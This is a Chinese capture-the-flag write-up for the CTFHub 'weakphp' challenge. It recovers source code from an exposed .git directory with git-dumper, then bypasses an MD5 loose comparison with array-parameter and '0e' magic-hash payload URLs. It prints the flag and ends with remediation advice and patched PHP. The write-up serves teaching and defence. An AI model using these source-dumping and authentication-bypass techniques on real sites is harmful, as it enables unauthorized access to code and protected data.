Writeup 4 CTFHub weakphp

Writeup 4 CTFHub weakphp

一、题目信息

项目 内容
题目名称 weakphp
来源 2017 赛客夏令营 Web / CTFHub Web 技能树
靶机地址 http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/
考点 .git 源码泄露、PHP 弱类型比较(MD5 绕过)
Flag ctfhub{daa04bd0801fafcf4d04f534}

二、信息收集与源码还原

2.1 发现 .git 泄露

访问靶机首页 index.php,页面会重定向到 index.php?user=1&pass=2,回显 nonono!,无明显提示。尝试探测常见源码泄露路径:

bash 复制代码
root@Rambo:~# curl -I http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/HEAD
HTTP/1.1 200 OK
Server: openresty/1.21.4.2
Date: Mon, 19 Oct 2026 05:24:10 GMT
Content-Length: 23
Connection: keep-alive
Last-Modified: Thu, 23 Jul 2020 15:42:52 GMT
ETag: "17-5ab1db58ef700"
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *

root@Rambo:~#

返回 200,确认存在 Git 源码泄露(.git/ 目录返回 403,但 .git/HEAD 可访问)。

访问:

http 复制代码
http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/

页面显示:

复制代码
Forbidden
You don't have permission to access /.git/ on this server.

Apache/2.4.25 (Debian) Server at challenge-5d3343f18a491010.sandbox.ctfhub.com Port 10800

2.2 使用 git-dumper 还原源码

原版 GitHack 基于 Python 2,在新环境下运行易报语法错误。这里使用 Python 3 友好的 git-dumper,并通过 venv 隔离安装,避免 PEP 668 的 externally-managed-environment 报错。

创建并激活虚拟环境
bash 复制代码
root@Rambo:/weakphp# python3 -m venv venv
root@Rambo:/weakphp# source venv/bin/activate
确认一下
bash 复制代码
(venv) root@Rambo:/weakphp# which pip
/weakphp/venv/bin/pip
(venv) root@Rambo:/weakphp# python --version
Python 3.12.3
安装 git-dumper
bash 复制代码
(venv) root@Rambo:/weakphp# pip install git-dumper
Collecting git-dumper
  Using cached git_dumper-1.0.9-py3-none-any.whl.metadata (3.1 kB)
Collecting PySocks (from git-dumper)
  Using cached PySocks-1.7.1-py3-none-any.whl.metadata (13 kB)
Collecting requests (from git-dumper)
  Using cached requests-2.34.2-py3-none-any.whl.metadata (4.8 kB)
Collecting beautifulsoup4 (from git-dumper)
  Using cached beautifulsoup4-4.15.0-py3-none-any.whl.metadata (3.8 kB)
Collecting dulwich (from git-dumper)
  Using cached dulwich-1.2.17-cp312-cp312-manylinux_2_28_x86_64.whl.metadata (6.0 kB)
Collecting requests-pkcs12 (from git-dumper)
  Using cached requests_pkcs12-1.27-py3-none-any.whl.metadata (3.8 kB)
Collecting soupsieve>=1.6.1 (from beautifulsoup4->git-dumper)
  Using cached soupsieve-3.0.3-py3-none-any.whl.metadata (4.4 kB)
Collecting typing-extensions>=4.0.0 (from beautifulsoup4->git-dumper)
  Using cached typing_extensions-4.16.0-py3-none-any.whl.metadata (3.3 kB)
Collecting urllib3>=2.2.2 (from dulwich->git-dumper)
  Using cached urllib3-2.8.0-py3-none-any.whl.metadata (7.4 kB)
Collecting charset_normalizer<4,>=2 (from requests->git-dumper)
  Using cached charset_normalizer-3.5.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (46 kB)
Collecting idna<4,>=2.5 (from requests->git-dumper)
  Using cached idna-3.20-py3-none-any.whl.metadata (7.2 kB)
Collecting certifi>=2023.5.7 (from requests->git-dumper)
  Using cached certifi-2026.10.18-py3-none-any.whl.metadata (2.5 kB)
Collecting cryptography>=42.0.0 (from requests-pkcs12->git-dumper)
  Using cached cryptography-50.0.2-cp311-abi3-manylinux_2_34_x86_64.whl.metadata (4.4 kB)
Collecting cffi>=2.0.0 (from cryptography>=42.0.0->requests-pkcs12->git-dumper)
  Using cached cffi-2.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl.metadata (2.5 kB)
Collecting pycparser (from cffi>=2.0.0->cryptography>=42.0.0->requests-pkcs12->git-dumper)
  Using cached pycparser-3.11-py3-none-any.whl.metadata (8.2 kB)
Using cached git_dumper-1.0.9-py3-none-any.whl (9.5 kB)
Using cached beautifulsoup4-4.15.0-py3-none-any.whl (109 kB)
Using cached dulwich-1.2.17-cp312-cp312-manylinux_2_28_x86_64.whl (1.5 MB)
Using cached PySocks-1.7.1-py3-none-any.whl (16 kB)
Using cached requests-2.34.2-py3-none-any.whl (73 kB)
Using cached requests_pkcs12-1.27-py3-none-any.whl (6.1 kB)
Using cached certifi-2026.10.18-py3-none-any.whl (134 kB)
Using cached charset_normalizer-3.5.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (257 kB)
Using cached cryptography-50.0.2-cp311-abi3-manylinux_2_34_x86_64.whl (4.8 MB)
Using cached idna-3.20-py3-none-any.whl (69 kB)
Using cached soupsieve-3.0.3-py3-none-any.whl (41 kB)
Using cached typing_extensions-4.16.0-py3-none-any.whl (45 kB)
Using cached urllib3-2.8.0-py3-none-any.whl (135 kB)
Using cached cffi-2.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl (221 kB)
Using cached pycparser-3.11-py3-none-any.whl (51 kB)
Installing collected packages: urllib3, typing-extensions, soupsieve, PySocks, pycparser, idna, charset_normalizer, certifi, requests, dulwich, cffi, beautifulsoup4, cryptography, requests-pkcs12, git-dumper
Successfully installed PySocks-1.7.1 beautifulsoup4-4.15.0 certifi-2026.10.18 cffi-2.1.1 charset_normalizer-3.5.2 cryptography-50.0.2 dulwich-1.2.17 git-dumper-1.0.9 idna-3.20 pycparser-3.11 requests-2.34.2 requests-pkcs12-1.27 soupsieve-3.0.3 typing-extensions-4.16.0 urllib3-2.8.0
(venv) root@Rambo:/weakphp#
确认一下
bash 复制代码
(venv) root@Rambo:/weakphp# which git-dumper
/weakphp/venv/bin/git-dumper
还原 .git 仓库
bash 复制代码
(venv) root@Rambo:/weakphp# git-dumper http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/ ./output
[-] Testing http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/HEAD [200]
[-] Testing http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/ [403]
[-] Fetching common files
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/COMMIT_EDITMSG [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/post-commit.sample [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/post-commit.sample responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/post-update.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.gitignore [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.gitignore responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/post-receive.sample [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/post-receive.sample responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/pre-commit.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/description [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/commit-msg.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/update.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/pre-receive.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/index [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/info/exclude [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/hooks/pre-push.sample [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/objects/info/packs [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/objects/info/packs responded with status code 404
[-] Finding refs/
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/config [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/FETCH_HEAD [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/heads/staging [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/heads/staging responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/heads/main [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/heads/main responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/ORIG_HEAD [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/ORIG_HEAD responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/HEAD [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/info/refs [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/info/refs responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/heads/production [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/heads/production responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/heads/master [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/HEAD [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/heads/development [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/heads/development responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/HEAD [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/main [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/main responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/master [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/master responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/staging [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/staging responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/production [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/production responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/development [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/remotes/origin/development responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/stash [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/logs/refs/stash responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/packed-refs [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/packed-refs responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/heads/master [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/heads/main [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/heads/main responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/heads/staging [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/heads/staging responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/heads/production [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/heads/production responded with status code 404[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/heads/development [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/heads/development responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/HEAD [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/main [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/main responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/master [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/master responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/staging [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/staging responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/production [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/production responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/main [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/main responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/stash [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/stash responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/development [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/remotes/origin/development responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/master [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/master responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/staging [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/staging responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/production [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/production responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/development [404][-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/wtree/refs/heads/development responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/main [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/main responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/master [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/master responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/production [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/production responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/development [404][-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/development responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/staging [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/refs/wip/index/refs/heads/staging responded with status code 404
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/objects/41/14bb9553c3d7a6f49ca740ba98db7c6faf1501 [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/objects/38/9f1c2206b69cd32e0f5e45a209f3ed6b5c3da9 [200]
[-] Fetching http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/.git/objects/ac/45e672f1521d8789e56c574c0c4ba06f6a889e [200]
[-] Running git checkout .
(venv) root@Rambo:/weakphp#

执行过程中可见 Testing .git/HEAD [200]、Fetching .git/objects/... [200]、Running git checkout .,最终在 output/ 目录得到还原后的源码:

bash 复制代码
(venv) root@Rambo:/weakphp# cd output/
(venv) root@Rambo:/weakphp/output# ll
total 0
drwxrwxrwx 1 root root 512 Oct 19 13:21 ./
drwxrwxrwx 1 root root 512 Oct 19 13:20 ../
drwxrwxrwx 1 root root 512 Oct 19 13:21 .git/
-rwxrwxrwx 1 root root 287 Oct 19 13:21 index.php*

2.3 查看源码

bash 复制代码
(venv) root@Rambo:/weakphp/output# cat index.php

得到完整源码:

php 复制代码
<?php
require_once "flag.php";
if (!isset($_GET['user']) && !isset($_GET['pass'])) {
    header("Location: index.php?user=1&pass=2");
}

$user = $_GET['user'];
$pass = $_GET['pass'];
if ((md5($user) == md5($pass)) and ($user != $pass)){
    echo $flag;
} else {
    echo "nonono!";
}
?>

三、漏洞分析

3.1 代码逻辑拆解

  1. require_once "flag.php";:引入 flag.php,$flag 变量在当前作用域可用,条件成立时 echo $flag 即可输出 flag。

  2. if (!isset($_GET['user']) && !isset($_GET['pass'])):若两个参数都未传,重定向到 ?user=1&pass=2。这解释了首次访问时默认参数为 1 和 2。

  3. 核心判断:

    php 复制代码
    if ((md5($user) == md5($pass)) and ($user != $pass))

    要求 user 和 pass 的 MD5 值在弱比较 (==)下相等,但两个参数本身不相等。

3.2 弱类型比较(==)的本质

PHP 的 == 是弱比较,比较前会进行类型转换:

  • 两个字符串若都是数字字符串,会被转换为数字再比较。
  • 以 0e 开头的纯数字字符串(如 0e123456)会被科学计数法解析为 0,因此任意两个 0e 开头的 MD5 值在 == 下都相等。
  • md5() 函数接收数组 时无法处理,返回 NULL;NULL == NULL 为真。

这为两种绕过方式提供了理论基础。


四、漏洞利用

方法一:数组绕过(推荐,最稳定)

Payload:

http 复制代码
http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/index.php?user[]=1&pass[]=2

原理:

  • md5($_GET['user']) 传入数组返回 NULL,md5($_GET['pass']) 同样返回 NULL。
  • NULL == NULL → true,满足 md5($user) == md5($pass)。
  • [1] != [2] → true,满足 $user != $pass。

两个条件同时成立,回显 flag。

方法二:0e 科学计数法绕过

Payload:

http 复制代码
http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/index.php?user=QNKCDZO&pass=240610708

原理:

  • md5('QNKCDZO') = 0e830400451993494058024219903391
  • md5('240610708') = 0e462097431906509019562988736854
  • 两者都以 0e 开头,弱比较时均被视为数字 0,0 == 0 成立。
  • 两个字符串本身不相等,满足 $user != $pass。

其他可用组合:s155964671a 与 s1184209335a、QNKCDZO 与 240610708 等。


五、获取 Flag

访问数组绕过 Payload:

http 复制代码
http://challenge-5d3343f18a491010.sandbox.ctfhub.com:10800/index.php?user[]=1&pass[]=2

页面回显:

复制代码
ctfhub{daa04bd0801fafcf4d04f534}

六、知识点总结

  1. .git 源码泄露 :Web 根目录下若误留 .git 目录,攻击者可通过 git-dumper、GitHack 等工具还原完整源码,进而审计漏洞。防御应确保部署时删除 .git 目录,或在 Web 服务器配置中禁止访问 .git。
  2. PHP 弱类型比较 :== 会进行类型转换,0e 开头的数字字符串被视为 0,导致不同字符串的 MD5 值被判相等。安全场景应使用 === 强比较。
  3. md5() 数组绕过 :md5() 无法处理数组,传入数组返回 NULL,两个 NULL 弱比较相等。参数校验时应先判断类型(如 is_string())。
  4. 工具环境管理 :新版 Debian/Ubuntu 的 PEP 668 机制禁止 pip 全局安装,使用 venv 或 pipx 隔离安装工具是更稳妥的做法;Python 2 时代的工具(如 GitHack)在新环境下建议替换为 Python 3 兼容工具(如 git-dumper)。

七、修复建议

php 复制代码
<?php
require_once "flag.php";

$user = $_GET['user'] ?? '';
$pass = $_GET['pass'] ?? '';

// 类型校验 + 强比较
if (is_string($user) && is_string($pass)
    && $user !== $pass
    && hash_equals(md5($user), md5($pass))) {
    echo $flag;
} else {
    echo "nonono!";
}
?>
  • 使用 is_string() 阻止数组传入。
  • 使用 !== 强比较替代 !=。
  • 使用 hash_equals() 进行哈希比较,同时可防御时序攻击。
  • 部署时移除 .git 目录并配置服务器禁止访问隐藏目录。

Rambo

2026年10月19日

🎉🎉🎉

相关推荐
hengdonghui2 天前
Writeup 4 ByteMe CTF 2026 The Vormir Ledger
ctf·osint
文章永久免费只为良心3 天前
Ctfshow_Web应用安全与防护_第二章_无字母数字命令执行
前端·python·安全·网络安全·渗透测试·ctf·红队渗透测试
hengdonghui3 天前
Writeup 4 ByteMe CTF 2026 Sacrifice
ctf·forensics
print_Hyon4 天前
【CTF-CRYPTO-教学-RSA】第八节:超大模数n反噬攻击,已知n、e、c求m(n超大,m的e次方仍小于n,c可直接开e次方得到结果)
ctf
其实防守也摸鱼5 天前
CTF Web 6 题全解 Writeup
linux·sql·学习·算法·安全·ctf·xss
hengdonghui6 天前
Writeup 4 N1BOOK 第一章 Web 入门 · 粗心的小李
ctf·.git泄露
hengdonghui8 天前
Writeup 4 N1BOOK afr_2
ctf·目录穿越
print_Hyon9 天前
【CTF-CRYPTO-教学-RSA】第十三节:知道e、p和q的变形表达式,解密c
ctf
print_Hyon9 天前
【CTF-CRYPTO-教学-RSA】第七节:低加密指数攻击,已知n和e求c(e很小,m的e次方比n小,c可直接开方得到结果)
ctf